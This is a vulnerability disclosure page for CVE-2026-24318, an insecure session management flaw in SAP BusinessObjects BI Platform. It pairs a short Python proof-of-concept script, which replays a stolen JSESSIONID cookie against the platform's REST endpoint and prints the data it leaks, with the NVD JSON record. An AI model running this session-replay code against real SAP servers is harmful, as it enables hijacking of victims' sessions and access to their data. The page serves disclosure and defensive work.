CVE-2026-24318

import requests # Proof of Concept for CVE-2026-24318 # Demonstrates session reuse due to insecure session management target_host = "https://sap-bi-server.example.com" login_endpoint = "/biprws/logon/long" protected_resource = "/biprws/infostore" # Attacker intercepts or guesses a valid session token (e.g., JSESSIONID) # In a real attack, this might be obtained via XSS or network sniffing stolen_cookies = { "JSESSIONID": "0000XXXXXXXXXXXXXXXXXXXX" } try: # Attempt to access a protected resource using the stolen token print("[*] Attempting to access resource using stolen session token...") response = requests.get(target_host + protected_resource, cookies=stolen_cookies, verify=False) if response.status_code == 200: print("[+] Exploit successful! Server accepted the session token.") print("[+] Leaked Data:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-24318", "sourceIdentifier": "[email protected]", "published": "2026-04-14T00:16:04.913", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to an Insecure session management vulnerability in SAP Business Objects Business Intelligence Platform, an unauthenticated attacker could obtain valid session tokens and reuse them to gain unauthorized access to a victim�s session. If the application continues to accept previously issued tokens after authentication, the attacker could assume the victim�s authenticated context. This could allow the attacker to access or modify information within the victim�s session scope, impacting confidentiality and integrity, while availability remains unaffected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-539"}]}], "references": [{"url": "https://me.sap.com/notes/3702191", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}